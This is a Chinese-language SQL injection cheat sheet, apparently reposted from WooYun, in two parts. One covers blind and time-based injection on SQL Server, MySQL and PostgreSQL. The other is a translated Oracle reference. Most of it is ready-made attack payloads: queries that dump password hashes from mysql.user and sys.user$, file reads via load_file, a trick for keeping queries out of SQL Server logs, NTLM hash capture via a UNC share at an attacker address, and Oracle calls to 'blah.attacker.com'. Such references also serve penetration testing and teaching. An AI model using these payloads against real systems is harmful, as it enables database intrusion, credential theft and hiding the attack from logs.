一、SQL注入速查表(下)
0x00 目錄
- 盲注
- 關於盲注
- 實戰中的盲注實例
- 延時盲注
WAITFOR DELAY [time]
(S)- 實例
BENCHMARK()
(M)- 實例
pg_sleep(seconds)
(P)
- 掩蓋痕跡
-sp_password log bypass
(S)
- 注入測試
- 一些其他的MySQL筆記
- MySQL中好用的函數
- SQL注入的高級使用
- 強制SQL Server來得到NTLM哈希
- Bulk insert UNC共享文件 (S)
0x01 盲注
關於盲注
一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union
攻擊和錯誤中提取出數據的
一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果
完全盲注,你無論怎麼輸入都完全看不到任何變化。你只能通過日誌或者其它什麼的來注入。雖然不怎麼常見。
在一般盲注下你能夠使用If語句或者**WHERE查詢注入\***|(一般來說比較簡單)*,在完全盲注下你需要使用一些延時函數並分析響應時間。爲此在SQL
Server
中你需要使用WAIT FOR DELAY '0:0:10'
,在MySQL中使用BENCHMARK()
,在PostgreSQL
中使用pg_sleep(10)
,以及在ORACLE
中的一些PL/SQL小技巧
。
實戰中的盲注實例
以下的輸出來自一個真實的私人盲注工具在測試一個SQL Server
後端應用並且遍歷表名這些請求完成了第一個表的第一個字符。由於是自動化攻擊,SQL查詢比實際需求稍微複雜一點。其中我們使用了二分搜索來探測字符的ASCII碼。
TRUE和FALSE標誌代表了查詢返回了true
或false
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
由於上面後兩個查詢都是false,我們能清楚的知道表名的第一個字符的ASCII碼是80,也就是"P"。這就是我們通過二分算法來進行盲注的方法。其他已知的方法是一位一位(bit
by bit
)地讀取數據。這些方法在不同條件下都很有效。
延時盲注
首先,只在完全沒有提示(really blind
)的情況下使用,否則請使用1/0方式
通過錯誤來判斷差異。其次,在使用20秒以上的延時時要小心,因爲應用與數據庫的連接API可能會判定爲超時(timeout
)。
WAITFOR DELAY time
這就跟sleep
差不多,等待特定的時間。通過CPU來讓數據庫進行等待。
WAITFOR DELAY '0:0:10'--
你也可以這樣用
WAITFOR DELAY '0:0:0.51'
實例
- 俺是sa嗎?
if (select user) = 'sa' waitfor delay '0:0:10'
- ProductID =
1;waitfor delay '0:0:10'--
- ProductID =
1);waitfor delay '0:0:10'--
- ProductID =
1';waitfor delay '0:0:10'--
- ProductID =
1');waitfor delay '0:0:10'--
- ProductID =
1));waitfor delay '0:0:10'--
- ProductID =
1'));waitfor delay '0:0:10'--
BENCHMARK()(M)
一般來說都不太喜歡用這個來做MySQL延時。小心點用因爲這會極快地消耗服務器資源。
BENCHMARK(howmanytimes, do this)
實例
-
俺是root嗎?爽!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
-
判斷表是否存在
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds)(P)
睡眠指定秒數。
SELECT pg_sleep(10);
睡個十秒
掩蓋痕跡
-sp_password log bypass(S)
出於安全原因,SQL Server
不會把含有這一選項的查詢日誌記錄進日誌中(!)。所以如果你在查詢中添加了這一選項,你的查詢就不會出現在數據庫日誌中,當然,服務器日誌還是會有的,所以如果可以的話你可以嘗試使用POST方法。
0x02 注入測試
這些測試既簡單又清晰,適用於盲注和悄悄地搞。
-
product.asp?id=4 (SMO)
product.asp?id=5-1
product.asp?id=4 OR 1=1
-
product.asp?name=Book
product.asp?name=Bo’%2b’ok
product.asp?name=Bo’ || ’ok (OM)
product.asp?name=Book’ OR ‘x’=’x
0x03 一些其他的MySQL筆記
- 子查詢只能在MySQL4.1+使用
- 用戶
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT ... INTO DUMPFILE
- 把查詢寫入一個新文件中(不能修改已有文件)
- UDF功能
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
-
admin密碼哈希的第一位
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
-
文件讀取
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
-
MySQL讀取文件內容
-
默認這個功能是沒開啓的!
create table foo( line blob ); load data infile 'c:/boot.ini' into table foo; select * from foo;
-
-
MySQL裏的各種延時
-
select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
-
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
- 遍歷數據,暴力猜解
select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );
MySQL中好用的函數
-
MD5()
MD5哈希
-
SHA1()
SHA1哈希
-
PASSWORD()
-
ENCODE()
-
COMPRESS()
壓縮數據,在盲注時讀取大量數據很好用
-
ROW_COUNT()
-
SCHEMA()
-
VERSION()
跟
@@version
是一樣的
SQL注入的高級使用
一般來說你在某個地方進行SQL注入並期望它沒有過濾非法操作,而這則是一般人注意不到的層面(hidden layer problem)
Name:
' + (SELECT TOP 1 password FROM users ) + '
Email :
[email protected]
如果應用在name表格中使用了不安全的儲存方法或步驟,之後它就會把第一個用戶的密碼寫進你的name裏面。
強制SQL Server來得到NTLM哈希
這個攻擊能夠幫助你得到目標SQL
服務器的Window
s密碼,不過你的連接很可能會被防火牆攔截。這能作爲一個很有用的入侵測試。我們強制SQL服務器連接我們的WindowsUNC
共享並通過抓包軟件(Cain
& Abel
)捕捉NTLM session
。
Bulk insert UNC共享文件 (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
二、Oracle注入速查表
本文由Yinzo翻譯,轉載請保留署名。原文地址:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
注:下面的一部分查詢只能由admin執行,我會在查詢的末尾以"-priv
"標註。
探測版本:
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance;
註釋:
SELECT 1 FROM dual — comment
注: Oracle的SELECT語句必須包含FROM從句,所以當我們並不是真的準備查詢一個表的時候,我們必須使用一個假的表名‘dual’
當前用戶:
SELECT user FROM dual
列出所有用戶:
SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv
列出密碼哈希:
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus能夠在acct被鎖定的狀態下給你反饋 SELECT name,spare4 FROM sys.user$ — priv, 11g
密碼破解:
checkpwd能夠把Oracle8,9,10的基於DES的哈希破解掉
列出權限:
SELECT * FROM session_privs; —當前用戶的權限 SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定用戶的權限 SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, 找到擁有某個權限的用戶 SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
列出DBA賬戶:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, 列出DBA和對應權限
當前數據庫:
SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL;
列出數據庫:
SELECT DISTINCT owner FROM all_tables; — 列出數據庫 (一個用戶一個)
– 通過查詢TNS監聽程序能夠查詢到其他數據庫.詳情看tnscmd。
列出字段名:
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
列出表名:
SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
通過字段名找到對應表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;
— 注: 表名都是大寫
查詢第N行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數)
查詢第N個字符:
SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三個字符‘c’
按位與(Bitwise AND
):
SELECT bitand(6,2) FROM dual; — 返回2 SELECT bitand(6,1) FROM dual; — 返回0
ASCII值轉字符:
SELECT chr(65) FROM dual; — 返回A
字符轉ASCII碼:
SELECT ascii(‘A’) FROM dual; — 返回65
類型轉換:
SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual;
拼接字符:
SELECT ‘A’ || ‘B’ FROM dual; — 返回AB
IF語句:
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
— 跟SELECT
語句在一起時不太管用
Case
語句:
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2
繞過引號:
SELECT chr(65) || chr(66) FROM dual; — 返回AB
延時:
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了 SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 如果反查很慢 SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢 SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果發送TCP包被攔截或者很慢
— 更多關於延時的內容請看Heavy Queries
發送DNS請求:
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
命令執行:
如果目標機裝了JAVA就能執行命令,看這裏
有時候ExtProc也可以,不過我一般都成功不了,看這裏
本地文件讀取:
UTL_FILE有時候能用。如果下面的語句沒有返回null就行。
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;
JAVA能用來讀取和寫入文件,除了Oracle
Express
主機名稱、IP地址:
SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — 查IP SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 查主機名稱
定位DB文件:
SELECT name FROM V$DATAFILE;
默認系統和數據庫:
SYSTEM SYSAUX
額外小貼士:
一個字符串列出所有表名:
select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables
– 當你union聯查注入的時候只有一行能用與返回數據時使用
盲注排序:
order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end
— 你必須知道兩個擁有相同數據類型的字段名才能用
譯者注: Oracle
注入速查表的作者這邊還有MSSQL
、MySQL
、PostgreSQL
、Ingres
、DB2
、Informix
等數據庫的速查表,不過我看Drops裏面MSSQL
和MySQL
都已經有比較好的文章了,所以如果有需求的話請在評論留言。
轉自烏雲:http://drops.wooyun.org/tips/8242